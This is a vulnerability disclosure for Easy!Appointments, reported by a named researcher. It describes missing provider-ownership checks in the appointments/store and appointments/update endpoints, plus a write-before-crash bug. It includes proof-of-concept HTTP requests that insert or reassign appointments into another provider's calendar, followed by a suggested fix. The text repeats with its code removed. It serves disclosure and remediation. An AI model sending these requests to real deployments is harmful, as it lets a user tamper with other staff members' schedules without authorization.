Summary
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
Root Cause — Step by Step Code Flow
Step 1 — Search correctly enforces provider isolation
The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
Step 2 — store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
Step 3 — Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
No check is performed to verify id_users_provider matches the current session.
Step 4 — Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5 — update() has the same missing ownership check
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1 — Inject appointment into foreign provider's schedule:
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 500 Internal Server Error — type error on find()
But the row is committed:
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
- Inject fake appointments into a colleague's schedule causing confusion and double-bookings
- Move their own appointments into another provider's calendar to hide or offload them
- Disrupt scheduling integrity for staff and customers
- Create unauthorized appointments that customers and admins attribute to the wrong provider
The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.
Suggested Fix
In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:
if ($role_slug === DB_SLUG_PROVIDER) {
$appointment['id_users_provider'] = $user_id; // force own provider ID
}
Fix the write-before-crash bug in store():
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array
Reporter
Yash Shendge (ashrexon)
2026-05-25
Summary
Easy!Appointments correctly filters provider-scoped appointments in the
appointments/searchresponse, proving that provider isolation is an intended security boundary. However, the direct mutation endpointsappointments/storeandappointments/updateonly check generic appointment privileges and never verify that the submittedid_users_providerbelongs to the current session.A normal authenticated provider can inject new appointments into another provider's schedule via
store, or reassign existing appointments into a foreign provider's calendar viaupdate. Thestorepath contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.Root Cause — Step by Step Code Flow
Step 1 — Search correctly enforces provider isolation
The
searchendpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:Step 2 — store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
Step 3 — Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
No check is performed to verify
id_users_providermatches the current session.Step 4 — Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5 — update() has the same missing ownership check
The update endpoint also accepts attacker-controlled
id_users_providerwith only a generic edit permission check:A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID
4Target: Foreign provider with ID
2Step 1 — Inject appointment into foreign provider's schedule:
Response:
500 Internal Server Error— type error on find()But the row is committed:
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
Response:
200 OKResult: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
The write-before-crash bug in
store()makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.Suggested Fix
In
store()andupdate(): Enforce thatid_users_providermatches the current session provider ID for non-admin roles:Fix the write-before-crash bug in
store():Reporter
Yash Shendge (ashrexon)
2026-05-25